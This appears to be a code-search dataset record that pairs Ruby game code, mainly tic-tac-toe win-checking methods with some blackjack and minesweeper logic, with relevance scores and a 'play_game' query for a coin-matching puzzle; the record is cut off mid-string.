@board[win_combination[2]] &&\n position_taken?(win_combination[0])\n end\nend", "def won?(board)\nWIN_COMBINATIONS.detect do |win_combination|\n if board[win_combination[0]] == \"X\" && board[win_combination[1]] == \"X\" && board[win_combination[2]] == \"X\"\n win_combination\n elsif board[win_combination[0]] == \"O\" && board[win_combination[1]] == \"O\" && board[win_combination[2]] == \"O\"\n win_combination\n else\n end\n end\nend", "def won?(board)\n \n # Iterates through WIN_COMBINATIONS and finds first matching win_combination and returns the winning array.\n WIN_COMBINATIONS.detect do |win_combination|\n \n # Each 'win_index' returns the first, second, and third elements of each winning combo array.\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n # Each 'position' uses the indices from the winning combos and applies them to the 'board' array.\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n \n # Takes first win_combination and checks to see if they are all \"X\"'s or \"O\"'s and that the string is not empty.\n position_1 == position_2 && position_2 == position_3 && position_taken?(board, win_index_1)\n end\nend", "def won?(board)\n WIN_COMBINATIONS.find do |subarray|\n board[subarray[0]] == board[subarray[1]] && board[subarray[1]] == board[subarray[2]] && board[subarray[0]] != \" \"\n end\nend", "def can_win(board)\n WIN_COMBINATIONS.find do |array|\n winning_array = array.collect { |i| board.cells[i] }\n token = self.token\n winning_array.sort == [\" \", token, token]\n end\n end", "def won?\ntokens = [\"X\", \"O\"]\nwon = false\n@x_win = false\n@o_win = false\nwinning_combo = []\n\nWIN_COMBINATIONS.each do |combination|\n @x_win = combination.all?{|index| @board[index] == tokens[0]} if true\n @o_win = combination.all?{|index| @board[index] == tokens[1]} if true\n if @x_win || @o_win\n won = true\n winning_combo = combination\n end\nend\n\nif won #what should we return\n winning_combo\nelse\n false\nend\nend", "def won?\r\n WIN_COMBINATIONS.find do |combo|\r\n combo.all? {|i| board.cells[i] == \"X\"} || combo.all? {|i| board.cells[i] == \"O\"}\r\n end\r\n end", "def check_winner\n if win_state == CHECK\n if players[0].get_hand_score >= players[1].get_hand_score\n self.win_state = LOSS\n else\n self.win_state = WIN\n end\n end\n\n if win_state == WIN\n self.wins = wins + 1 \n puts \"Good win! You're now at #{wins} wins and #{losses}.\"\n else\n self.losses = losses + 1\n puts \"Better luck next time. You're now at #{wins} wins and #{losses} losses.\"\n end\n end", "def won?(board)\n WIN_COMBINATIONS.detect do |win_combination|\n if win_combination.all? do |win_position|\n board[win_position] == \"X\"\n end\n true\n elsif win_combination.all? do |win_position|\n board[win_position] == \"O\"\n end\n true\n else\n false\n end\n end\nend", "def won?\n WIN_COMBINATIONS.each do |comb|\n if (@board[comb[0]] == \"X\") && (@board[comb[1]] == \"X\") && (@board[comb[2]] == \"X\")\n @winner = \"X\"\n return true\n elsif (@board[comb[0]] == \"O\") && (@board[comb[1]] == \"O\") && (@board[comb[2]] == \"O\")\n @winner = \"O\"\n return true\n end\n end\n\n return false\n end", "def won?\n WIN_COMBINATIONS.each {|win_combo|\n position_1 = @board.cells[win_combo[0]]\n position_2 = @board.cells[win_combo[1]]\n position_3 = @board.cells[win_combo[2]]\n return win_combo if ((position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"))\n }\n return false\n end", "def won?()\n WIN_COMBINATIONS.detect do |e|\n @board[e[0]] == @board[e[1]] && @board[e[1]] == @board[e[2]] && position_taken?( e[0])\n end\nend", "def won?(board)\nempty_board = board.all? {|empty| empty == \" \"}\ndraw = board.all? {|token| token == \"X\" || token == \"O\"}\nWIN_COMBINATIONS.any? do |win_combo|\n if win_combo.all? {|index| board[index] ==\"X\" } || win_combo.all? {|index| board[index] ==\"O\"}\n return win_combo\n else empty_board || draw\n false\n end\n end\nend", "def won?(board)\nempty_board = board.all? {|empty| empty == \" \"}\ndraw = board.all? {|token| token == \"X\" || token == \"O\"}\nWIN_COMBINATIONS.any? do |win_combo|\n if win_combo.all? {|index| board[index] ==\"X\" } || win_combo.all? {|index| board[index] ==\"O\"}\n return win_combo\n else empty_board || draw\n false\n end\n end\nend", "def won?\n WIN_COMBINATIONS.detect do |combo|\n @board[combo[0]] == @board[combo[1]] &&\n @board[combo[1]] == @board[combo[2]] &&\n position_taken?(combo[0])\n end\nend", "def check_win\n if @game_board.return_count == 5 and @timer.return_time >= 0\n @win = true\n end\n if @game_board.return_count < 5 and @timer.return_time == 0\n @lose = true\n end\n end", "def won?(board)\n WIN_COMBINATIONS.each do |win_array|\n\n win_index_1 = win_array[0]\n win_index_2 = win_array[1]\n win_index_3 = win_array[2]\n\n position_1 = board[win_index_1] # load the value of the board at win_index_1\n position_2 = board[win_index_2] # load the value of the board at win_index_2\n position_3 = board[win_index_3] # load the value of the board at win_index_3\n\n if ((position_taken?(board, win_index_1) && position_1 ==\"X\") && (position_taken?(board, win_index_2) && position_2 ==\"X\") && (position_taken?(board, win_index_3) && position_3 ==\"X\") or \n (position_taken?(board, win_index_1) && position_1 ==\"O\") && (position_taken?(board, win_index_2) && position_2 ==\"O\") && (position_taken?(board, win_index_3) && position_3 ==\"O\"))\n return win_array\n end\n end\n return false\nend", "def won?(board)\nany_return = WIN_COMBINATIONS.any? do |combo|\n board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\" ||\n board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\nend\nselect_return = WIN_COMBINATIONS.select do |combo|\n board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\" ||\n board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\nend\n if any_return == false\n any_return\n elsif select_return != nil\n win_return = select_return[0]\n end\nend", "def won?(board)\n # cycle through WIN_COMBINATIONS\n WIN_COMBINATIONS.detect { |winning_combo|\n # print win_index\n # print '\\n'\n position_taken?(board,winning_combo[0]) &&\n position_taken?(board,winning_combo[1]) &&\n position_taken?(board,winning_combo[2]) &&\n board[winning_combo[0]] == board[winning_combo[1]] &&\n board[winning_combo[1]] == board[winning_combo[2]]\n }\nend", "def won?(board)\nWIN_COMBINATIONS.detect do |win_combination|\n #Load each win index into a variable\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n #Load the token (if any) at index position into a variable\n position_1 = board[win_index_1].upcase\n position_2 = board[win_index_2].upcase\n position_3 = board[win_index_3].upcase\n\n # Determine whether positions contain winning X (or O) combination\n (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n end\nend", "def win_message(condition, board)\n if condition == \"draw\"\n puts\n puts \"Stalemate. I think an AI might have something to say about this...\"\n elsif condition == \"cheat_code\"\n puts\n puts \"Aww, thanks! Okay, I declare you the winner, #{board.winner}. :)\"\n elsif condition == \"win\"\n puts\n puts \"Congratulations, #{board.winner}! You are the winner!\"\n end\n replay_prompt\nend", "def won?(board)\n WIN_COMBINATIONS.each do |win|\n if [board[win[0]], board[win[1]], board[win[2]]] == [\"X\", \"X\", \"X\"] ||\n [board[win[0]], board[win[1]], board[win[2]]] == [\"O\", \"O\", \"O\"]\n return win\n end\n end\n return false\nend", "def won?(board)\n WIN_COMBINATIONS.detect do |combinations|\n index_1 = combinations[0]\n index_2 = combinations[1]\n index_3 = combinations[2]\n\n position_1 = board[index_1]\n position_2 = board[index_2]\n position_3 = board[index_3]\n\n position_1 == position_2 && position_2 == position_3 && position_3 != \" \"\n end\nend", "def won?(board)\n # binding.pry\n check = false\n WIN_COMBINATIONS.each do |win_combination|\n first_index = win_combination[0]\n second_index = win_combination[1]\n third_index = win_combination[2]\n\n position_1 = board[first_index]\n position_2 = board[second_index]\n position_3 = board[third_index]\n\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n return win_combination\n check = true\n end\n end\n check\nend", "def won?(board)\n # binding.pry\n check = false\n WIN_COMBINATIONS.each do |win_combination|\n first_index = win_combination[0]\n second_index = win_combination[1]\n third_index = win_combination[2]\n\n position_1 = board[first_index]\n position_2 = board[second_index]\n position_3 = board[third_index]\n\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n return win_combination\n check = true\n end\n end\n check\nend", "def won?\n WIN_COMBINATIONS.each do |combo|\n if combo.all? { |i| @board[i].downcase == \"x\"}\n return combo\n elsif combo.all? { |i| @board[i].downcase == \"o\"}\n return combo\n end\n end\n return false\nend", "def won?(board)\n WIN_COMBINATIONS.detect do |win1|\n win1.all? { |number| board[number] == \"X\"} || win1.all? { |number| board[number] == \"O\"}\n end\n end", "def won?(board)\n WIN_COMBINATIONS.detect do |win_combo|\n position_1 = board[win_combo[0]]\n position_2 = board[win_combo[1]]\n position_3 = board[win_combo[2]]\n\n position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\" ||\n position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n end\nend", "def won?(board)\n WIN_COMBINATIONS.each do |combo|\n if (board[combo[0]] == board[combo[1]] && board[combo[0]] == board[combo[2]] && board[combo[0]] != \" \" && board[combo[0]] != \"\" && !board[combo[0]].nil?)\n return combo\n break\n end\n end\n return false\nend", "def won?\r\n WIN_COMBINATIONS.detect do | win_combination |\r\n # win_combination = [0,1,2], [3,4,5], [0,4,8], ... [2,4,6]\r\n\r\n win_index_1 = win_combination[0] # 0, 3\r\n win_index_2 = win_combination[1] # 1, 4\r\n win_index_3 = win_combination[2] # 2, 5\r\n\r\n position_1 = @board[win_index_1] # \"X\", \"O\"\r\n position_2 = @board[win_index_2] # \"O\", \"X\"\r\n position_3 = @board[win_index_3] # \"X\", \"O\"\r\n\r\n if position_1 == position_2 && position_2 == position_3 && position_1 != \" \"\r\n return win_combination # return the win_combination indexes that won.\r\n else\r\n false\r\n end\r\n end\r\n end", "def won?\n WIN_COMBINATIONS.detect do |combo|\n if combo.all? {|c| @board.cells[c] == \"X\"}\n @winner = \"X\"\n return combo\n elsif combo.all?{|c| @board.cells[c] == \"O\"}\n @winner = \"O\"\n return combo\n end\n end\n nil\n end", "def won?(board)\n WIN_COMBINATIONS.each do |combo|\n if board[combo[0]] == board[combo[1]] && board[combo[1]] == board[combo[2]]\n return combo unless board[combo[0]] == \" \"\n end\n end\n false\nend", "def player_win_condition_checker(player_num)\n @game_mode[@mode][player_num.to_i - 1].win_condition\n end", "def win?\n # COLUMNS - 1\n return true if @boardcases[0].case_value == @boardcases[3].case_value && @boardcases[3].case_value == @boardcases[6].case_value && @boardcases[0].case_value != ' '\n # 2\n return true if @boardcases[1].case_value == @boardcases[4].case_value && @boardcases[4].case_value == @boardcases[7].case_value && @boardcases[1].case_value != ' '\n # 3\n return true if @boardcases[2].case_value == @boardcases[5].case_value && @boardcases[5].case_value == @boardcases[8].case_value && @boardcases[2].case_value != ' '\n # ROWS - A\n return true if @boardcases[0].case_value == @boardcases[1].case_value && @boardcases[1].case_value == @boardcases[2].case_value && @boardcases[0].case_value != ' '\n # B\n return true if @boardcases[3].case_value == @boardcases[4].case_value && @boardcases[4].case_value == @boardcases[5].case_value && @boardcases[3].case_value != ' '\n # C\n return true if @boardcases[6].case_value == @boardcases[7].case_value && @boardcases[7].case_value == @boardcases[8].case_value && @boardcases[6].case_value != ' '\n # DIAGONALS\n return true if @boardcases[0].case_value == @boardcases[4].case_value && @boardcases[4].case_value == @boardcases[8].case_value && @boardcases[0].case_value != ' '\n return true if @boardcases[6].case_value == @boardcases[4].case_value && @boardcases[4].case_value == @boardcases[2].case_value && @boardcases[6].case_value != ' '\n end", "def checkWin(bombs, remaining, auxAux, buttons)\n\t\tif remaining > 0\n\t\t\tfor i in 0...auxAux.length\n\t\t\t\tif auxAux[i]==\" \"\n\t\t\t\t\treturn -1\n\t\t\t\tend\n\t\t\tend\n\t\telse \n\t\t\tfor i in 0...buttons.length\n\t\t\t\tif buttons[i].getValue==\"B\"\n\t\t\t\t\tif buttons[i].getMarked!=\"M\"\n\t\t\t\t\t\treturn -1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tendTime = Time.now\n\t\tstartTime = @timePlayed\n\t\t@timePlayed = (endTime-startTime).round\n\t\tmenuWin(bombs)\n\tend", "def won?(board)\n WIN_COMBINATIONS.each do | winning_combination |\n if board[winning_combination[0]] == \"X\" &&\n board[winning_combination[1]] == \"X\" &&\n board[winning_combination[2]] == \"X\" ||\n board[winning_combination[0]] == \"O\" &&\n board[winning_combination[1]] == \"O\" &&\n board[winning_combination[2]] == \"O\"\n return winning_combination\n end\n end\n false\nend", "def check_for_win(player)\n\tif ($grid_hash[\"tl\"] == player) && ($grid_hash[\"tc\"] == player) && ($grid_hash[\"tr\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"cl\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"cr\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"bl\"] == player) && ($grid_hash[\"bc\"] == player) && ($grid_hash[\"br\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tl\"] == player) && ($grid_hash[\"cl\"] == player) && ($grid_hash[\"bl\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tc\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"bc\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tr\"] == player) && ($grid_hash[\"cr\"] == player) && ($grid_hash[\"br\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"tl\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"br\"] == player)\n\t\twin(player)\n\telsif ($grid_hash[\"bl\"] == player) && ($grid_hash[\"cc\"] == player) && ($grid_hash[\"tr\"] == player)\n\t\twin(player)\n\telse\n\t\tcheck_for_tie\n\tend\nend", "def won?(board)\n if board.none?{|i| i != \" \"}\n return false\n end\n \n \n if board[0] == \"X\" && board[1]== \"X\" && board[2]== \"X\"\n return WIN_COMBINATIONS[0]\n elsif board[3] == \"X\" && board[4] == \"X\" && board[5]== \"X\"\n return WIN_COMBINATIONS[1]\n elsif board[6] == \"X\" && board[7] == \"X\" && board[8]== \"X\"\n return WIN_COMBINATIONS[2]\n elsif board[0] == \"O\" && board[3] == \"O\" && board[6]== \"O\" \n return WIN_COMBINATIONS[3]\n elsif board[1] == \"O\" && board[4] == \"O\" && board[7]== \"O\" \n return WIN_COMBINATIONS[4]\n elsif board[2] == \"O\" && board[5] == \"O\" && board[8]== \"O\" \n return WIN_COMBINATIONS[5]\n elsif board[0] == \"X\" && board[4] == \"X\" && board[8]== \"X\" \n return WIN_COMBINATIONS[6]\n elsif board[6] == \"O\" && board[4] == \"O\" && board[2]== \"O\" \n return WIN_COMBINATIONS[7]\n end\nend", "def won?(board)\n res = false\n WIN_COMBINATIONS.each do |win_combination|\n board_entries = [board[win_combination[0]], board[win_combination[1]], board[win_combination[2]]]\n board_entries == [\"X\", \"X\", \"X\"] || board_entries == [\"O\", \"O\", \"O\"] ? res = win_combination : false\n end\n res\n\nend", "def check_who_wins(hand_total_dealer, hand_total_player)\n hand_to_use_dealer = 0\n hand_to_use_player = 0\n\n if hand_total_dealer[1] <= 21\n hand_to_use_dealer = hand_total_dealer[1]\n else\n hand_to_use_dealer = hand_total_dealer[0]\n end\n\n if hand_total_player[1] <= 21\n hand_to_use_player = hand_total_player[1]\n else\n hand_to_use_player = hand_total_player[0]\n end\n\n if hand_to_use_player < hand_to_use_dealer\n return \"dealer\"\n elsif hand_to_use_dealer < hand_to_use_player\n return \"player\"\n elsif hand_to_use_player = hand_to_use_dealer\n return \"draw\"\n end\n\nend", "def won?\n WIN_COMBINATIONS.any? do |win_combo|\n win_index_1 = win_combo[0]\n win_index_2 = win_combo[1]\n win_index_3 = win_combo[2]\n\n position_1 = @board[win_index_1]\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n\n if position_taken?(win_index_1) && position_1 == position_2 && position_2 == position_3\n #binding.pry\n return win_combo\n end\n end\n end", "def checkWinCondition(input,board)\n #Win Condition 1: horizontal row\n\n if [board[0],board[1],board[2]] == [input,input,input] || [board[3],board[4],board[5]] == [input,input,input] || [board[6],board[7],board[8]] == [input,input,input]\n return true\n end\n\n #Win Condition 2: vertical row\n \n if [board[0],board[3],board[6]] == [input,input,input] || [board[2],board[5],board[8]] == [input,input,input] || [board[3],board[6],board[9]] == [input,input,input]\n return true\n end\n\n #Win Condition 3: Diag row\n\n if [board[0],board[4],board[8]] == [input,input,input] || [board[2],board[4],board[6]] == [input,input,input]\n return true\n end\n\nend", "def won?(board)\r\n WIN_COMBINATIONS.each do |element|\r\n #element is each sub array in WIN_COMBINATIONS ex. [0,1,2]\r\n win_index_1 = element[0]\r\n win_index_2 = element[1]\r\n win_index_3 = element[2]\r\n\r\n\r\n #position_ gives you the X's and O's at the position in the board\r\n position_1 = board[win_index_1]\r\n position_2 = board[win_index_2]\r\n position_3 = board[win_index_3]\r\n position_array = [position_1,position_2,position_3]\r\n \r\n #tests to see if all of the positions in the array are O's\r\n choice_O = position_array.all? do|element|\r\n element == \"O\"\r\n end\r\n \r\n #tests to see if all of the positions in the array are X's\r\n choice_X = position_array.all? do|element|\r\n element == \"X\"\r\n end\r\n \r\n if ( (position_taken?(board,win_index_1)) && (position_taken?(board,win_index_2)) && (position_taken?(board,win_index_3)) )\r\n if (choice_X || choice_O)\r\n return element\r\n end\r\n end\r\n end\r\n return false\r\n \r\nend", "def won?\r\n WIN_COMBINATIONS.each do |combination|\r\n occupied = true\r\n if @board[combination[0]] == \" \" || @board[combination[1]] == \" \" ||\r\n @board[combination[2]] == \" \"\r\n occupied = false\r\n end\r\n if occupied\r\n if @board[combination[0]] == @board[combination[1]] && \r\n @board[combination[1]] == @board[combination[2]]\r\n return combination\r\n end\r\n end\r\n end\r\n false\r\n end", "def check_win_or_lose\n # returns one of the symbols :win, :lose, or :play depending on the current game state\n \n end", "def won?(board)\n win_combination = []\n WIN_COMBINATIONS.each do |line|\n if line.all? { |pos| board[pos] == \"X\" }\n win_combination = line\n end\n if line.all? { |pos| board[pos] == \"O\" }\n win_combination = line\n end\n end\n if win_combination != []\n win_combination\n else\n false\n end\nend", "def won?\n WIN_COMBINATIONS.find do |combination|\n win_index_1 = combination[0]\n win_index_2 = combination[1]\n win_index_3 = combination[2]\n position_1 = @board[win_index_1]\n\n position_2 = @board[win_index_2]\n position_3 = @board[win_index_3]\n\n position_taken?(win_index_1) && position_1 == position_2 && position_2 == position_3\n end\n end" ]
[ "0.7036161", "0.686443", "0.6787592", "0.6755974", "0.66890967", "0.6656488", "0.6655228", "0.6640801", "0.6621644", "0.661985", "0.6614558", "0.6596755", "0.6585512", "0.65594155", "0.65594155", "0.6523098", "0.6518632", "0.6507796", "0.6504649", "0.64974576", "0.64974576", "0.64924645", "0.6483301", "0.64785236", "0.64777267", "0.6477133", "0.6459147", "0.6448287", "0.6441608", "0.64371425", "0.6433458", "0.6423362", "0.64228135", "0.64139766", "0.64096934", "0.63991696", "0.63968134", "0.63960737", "0.6391178", "0.63863504", "0.63862413", "0.63852584", "0.6376171", "0.6364236", "0.6363308", "0.63614815", "0.6356055", "0.6345664", "0.6344893", "0.6338692", "0.6338347", "0.633397", "0.63337064", "0.63310486", "0.632666", "0.6318648", "0.6318509", "0.63100564", "0.63035905", "0.6301482", "0.62929654", "0.62901163", "0.62852883", "0.6284941", "0.62836516", "0.6280044", "0.6280044", "0.62798816", "0.62692225", "0.62649083", "0.62637407", "0.62630355", "0.6262805", "0.6261758", "0.62611765", "0.626052", "0.62552714", "0.62552714", "0.6254839", "0.62538797", "0.62527996", "0.624696", "0.6245434", "0.6239142", "0.623905", "0.6232869", "0.6231892", "0.62306696", "0.62297183", "0.62176245", "0.621445", "0.6211384", "0.620918", "0.62048906", "0.6202971", "0.61952245", "0.6192833", "0.61898744", "0.61891454", "0.61868924" ]
0.82901776
0
play_game function plays the game and allows the user 5 options to win. also provides user with a description of the rules
def play_game puts "---------------------------------------------" puts "-----EVEN AND ODDS: A coin matching game-----" puts "---------------------------------------------" puts "----Given the string: HHHHHTTTTT, can you----" puts "----successfully move pairs of letters to----" puts "----change the string into the following:----" puts "----------HTHTHTHTHT or THTHTHTHTH-----------" puts "---------------------------------------------" puts "--------Here's the initial string:-----------" puts "---------------------------------------------" puts "\n\n" 5.times{ handle_input } check_win_condition end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def play_game\n puts \"Would you like to play\"\n puts \"Rock-Paper-Scissor (RPS)\" \n puts \"OR\" \n puts \"Rock-Paper-Scissor-Lizard-Spock? (RPSLS)\"\n h_line\n rule_type = check_input([\"RPS\",\"RPSLS\"])\n rules = rule_type == \"RPS\" ? RPS_Rules.new : RPSLS_Rules.new\n puts \"Ok! Let's play \" + rules.prompt + \"!\"\n h_line\n p1 = create_player(1,rules)\n p2 = create_player(2,rules)\n h_line\n puts \"Great. How many points are you playing to? (1-5)\"\n valid = [\"1\",\"2\",\"3\",\"4\",\"5\"]\n length = check_input(valid).to_i\n this_game = Game.new(p1,p2,length,rules)\n h_line\n puts \"Ok!\"\n puts rules.prompt + \":\"\n puts this_game.p1.control + \":\" +this_game.p1.name + \" > VERSUS < \" + this_game.p2.name + \":\" + this_game.p2.control\n puts \"First to \" + length.to_s + \" points wins!\"\n pause\n this_game.run_game\nend", "def playGame\n #start the opening of the game\n #introduce the rules, ask for human or computer etc\n self.opening()\n\n end", "def play\n # Game play asks for players input on a turn of the game\n # Game play checks if the game is over after every turn\n # Game play plays the first turn of the game\n # Game play plays the first few turns of the game\n # Game play checks if the game is won after every turn\n # Game play checks if the game is a draw after every turn\n while !over?\n turn\n end\n # Game play stops playing if someone has won\n # Game play congratulates the winner X\n # Game play congratulates the winner O\n if won?\n puts \"Congratulations #{winner}!\"\n # Game play stops playing in a draw\n # Game play prints \"Cat's Game!\" on a draw\n elsif draw?\n puts \"Cat's Game!\"\n end\n end", "def play()\n \n begin\n \n @computer_choice = get_computer_choice()\n @player_choice = get_player_choice()\n \n result = logic(@computer_choice, @player_choice)\n\n get_choices()\n \n case result\n\n when \"tie\"\n @rounds -= 1\n @ties += 1\n puts \"[~] it's a tie !\"\n \n when \"player win\"\n @rounds -= 1\n @player_wins += 1\n puts \"[$] Player win this round (#{@player_wins}/3)!\"\n\n when \"computer win\"\n @rounds -= 1\n @computer_wins += 1\n puts \"[$] Computer win this round (#{@computer_wins}/3)!\"\n\n end\n\n rescue Interrupt\n\n puts \"\\n\\n[!] Keyboard interrupt, Exting.\"; exit()\n \n \n end\n \n\n end", "def rules (player_choice, comp_choice, comp_score, player_score)\n\t\tputs \"Player: #{player_choice}\"\n\t\tputs \"Computer: #{comp_choice}\"\n\t\tif player_choice == comp_choice\n\t\t\tputs \"Tie\"\n\t\t\tcomp_score+=1\n\t\t\tplayer_score+=1\n\t\t\tmenu(player_score, comp_score)\n\t\telsif player_choice == 'rock'\n\t\t\tif comp_choice == 'paper'\n\t\t\t\tputs \"Comp wins\"\n\t\t\t\tcomp_score+=1\n\t\t\t\tmenu(player_score, comp_score)\n\t\t\telse\n\t\t\t\tputs \"Player wins\"\n\t\t\t\tplayer_score+=1\n\t\t\t\tmenu(player_score, comp_score)\n\t\t\tend\n\t\telsif player_choice == 'paper'\n\t\t\tif comp_choice == 'scissors'\n\t\t\t\tputs \"Comp wins\"\n\t\t\t\tcomp_score+=1\n\t\t\t\tmenu(player_score, comp_score)\n\t\t\telse \n\t\t\t\tputs \"Player wins\"\n\t\t\t\tplayer_score+=1\n\t\t\t\tmenu(player_score, comp_score)\n\t\t\tend\n\t\telsif player_choice == 'scissors'\n\t\t\tif comp_choice == 'rock'\n\t\t\t\tputs \"Comp wins\"\n\t\t\t\tcomp_score+=1\n\t\t\t\tmenu(player_score, comp_score)\n\t\t\telse \n\t\t\t\tputs \"Player wins\"\n\t\t\t\tplayer_score+=1\n\t\t\t\tmenu(player_score, comp_score)\n\t\t\tend\n\t\telse \n\t\t\tputs \"Not a valid choice.\"\n\t\t\tmenu(player_score, comp_score)\n\t\tend\n\tend", "def play\n display_welcome_message\n loop do\n number_of_games = 0\n loop do\n computer.choose(@human)\n human.choose\n display_moves\n increment_game_count\n puts\n display_winner\n display_score\n update_win_history\n number_of_games += 1\n puts\n break if first_to_score?(10)\n end\n display_final_outcome\n reset_game\n break unless play_again?\n end\n display_goodbye_message\n end", "def play\n\n\t\tif ran_out_of_options?\n \t\t\tputs \"SORRY, YOU ARE HOPELESSLY INDECISIVE\".red.blink\n \t\t\texit\n \tend\n\n\t\t@winner = select_winner\n\n\t until self.set_of_ten_dup.length == 1 do\n\t \t@challenger = select_challenger\n\t \n\t system \"clear\"\n\n\t\tCLI.intro_image\n\t\tdisplay_choices\n\t\tinput = input_prompt\n\t \n\t\tmatch_arr = add_businesses\n\n\t\tadd_to_winner_loser_tables(match_arr[0],match_arr[1]) if input == '1' || input == '1!'\n\t\tadd_to_winner_loser_tables(match_arr[1],match_arr[0]) if input == '2' || input == '2!'\n\t\tremove_from_match_options(input)\n\t\t@winner = @challenger if input == '2' || input == '2!'\n\t\tself.url = @winner[:url]\n\t\tbreak if input == '1!' || input == '2!'\n\t end\n\t puts \"We recommend you go to \" + \"#{@winner[:name]}\".green + \"!\" \n end", "def play_game\n\n\t\t# ask who would like to go first, user or computer\n\t\tputs \"Would you like to go first? Y/N\"\n\t\tstarter = gets.chomp.upcase\n\n\t\t# case when user takes first go\n\t\tif starter == \"Y\"\n\t\t\twhile total(current_score) > 0\n\t\t\t\tplayer_turn\n\t\t\t\t\n\t\t\t\t# case when player wins\n\t\t\t\tif total(current_score) == 0\n\t\t\t\t\tputs \"You win!\"\n\t\t\t\t\tplay_again\n\t\t\t\tend\n\n\t\t\t\tcomputer_turn\n\n\t\t\t\t# case when computer wins\n\t\t\t\tif total(current_score) == 0\n\t\t\t\t\tputs \"The computer wins!\"\n\t\t\t\t\tplay_again\n\t\t\t\tend\n\t\t\tend\n\t\t\n\t\t# case when computer takes first go\n\t\telse\n\t\t\twhile total(current_score) > 0\n\t\t\t\tcomputer_turn\n\n\t\t\t\t# case when player wins\n\t\t\t\tif total(current_score) == 0\n\t\t\t\t\tputs \"The computer wins!\"\n\t\t\t\t\tplay_again\n\t\t\t\tend\n\n\t\t\t\tplayer_turn\n\t\t\t\t\n\t\t\t\t# case when computer wins\n\t\t\t\tif total(current_score) == 0\n\t\t\t\t\tputs \"You win!\"\n\t\t\t\t\tplay_again\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def game\n game_mode \n set_solution\n until (@turns_left < 1 || @winner)\n guess\n checker\n @turns_left -= 1\n status\n end\n end", "def play\n @p1.score = 0\n @p2.score = 0\n choose_game\n puts \"How many games do you want to play?\"\n x = gets.chomp.to_i\n if x < 1\n puts \"That's no fun!\"\n elsif x == 1\n new_game(@p1, @p2)\n else\n new_match(x, @p1, @p2)\n end\n end", "def play\n\t\tputs \"Hello, welcome to my game!\"\n\n\t\tNUMBER_OF_ROUNDS.times do \n\t\t\tround = Round.new\n\t\t\tround.play\n\t\t\tputs \"You made #{round.number_of_guesses} guesses.\"\n\t\t\tadd_guesses(round.number_of_guesses)\n\t\t\tif round.won?\n\t\t\t\t@win_count += 1\n\t\t\tend\n\t\tend\n\t\tputs \"Your average number of guesses is #{average_guesses}.\"\n\t\tputs \"Your total correct guess is #{@win_count}\"\n\t\n\tend", "def play\n state = 0\n\n\n while true\n if state == 0\n puts \"C'est à #{@player0.name} de jouer (jeton #{@player0.token})\"\n puts \"Quelle case veux tu cocher #{@player0.name} ?\"\n print \"> \"\n n = gets.chomp.upcase\n\n until not_played?(n) && case_authorization?(n)\n print \"> \"\n n = gets.chomp.upcase\n end\n @played_cases << n\n @view.play(\"player0\",n)\n\n if @view.iswin?(@player0.token)\n puts \"#{@player0.name} a gagné.\"\n puts \"FÉLICITATIONS #{@player0.name}! \"\n puts \" \"\n @player0.score += 1\n break\n elsif isfull?\n puts \"Match nul ! \"\n puts \" \"\n break\n else\n state = 1 - state\n end\n else\n puts \"C'est à #{@player1.name} de jouer (jeton #{@player1.token})\"\n puts \"Quelle case veux tu cocher #{@player1.name} ?\"\n print \"> \"\n n = gets.chomp.upcase\n\n until not_played?(n) && case_authorization?(n)\n print \"> \"\n n = gets.chomp.upcase\n end\n\n @played_cases << n\n @view.play(\"player1\",n)\n\n if @view.iswin?(@player1.token)\n puts \"#{@player1.name} a gagné.\"\n puts \"FÉLICITATIONS #{@player1.name}! \"\n puts \" \"\n @player1.score += 1\n break\n elsif isfull?\n puts \"Match nul ! \"\n puts \" \"\n break\n else\n state = 1 - state\n end\n end\n end\n end", "def play_game\n \twhile true\n \t\[email protected]_game_state(@word, @misses, @hits, @guesses_left)\n \t\tbreak if game_over?\n \t\tguess = get_guess\n \t\tbreak if guess == :save\n \t\tupdate_game_state guess\n \tend\n \tsave_game if guess == :save\n\tend", "def play\n game_introductions\n\n loop do\n set_markers_and_first_mover\n\n loop do\n clear_screen_and_display_board\n loop_of_player_moves\n display_result\n break if someone_won_match?\n display_play_again_message\n reset\n end\n\n clear\n display_champion\n break unless rematch?\n reset_game_data\n end\n\n display_goodbye_message\n end", "def play\n\t\tprocessed = process_guesses(@user_guesses, @word)\n\t\tboard = draw(processed)\n\t\tinput = get_input\n\t\t@user_guesses << input\n\t\t@num_guesses -= 1\n\t\tresult = game_over?\n\t\tif result[:over]\n\t\t\tputs \"Game Over!\\n#{result[:message]}\"\n\t\t\tputs \"Word was 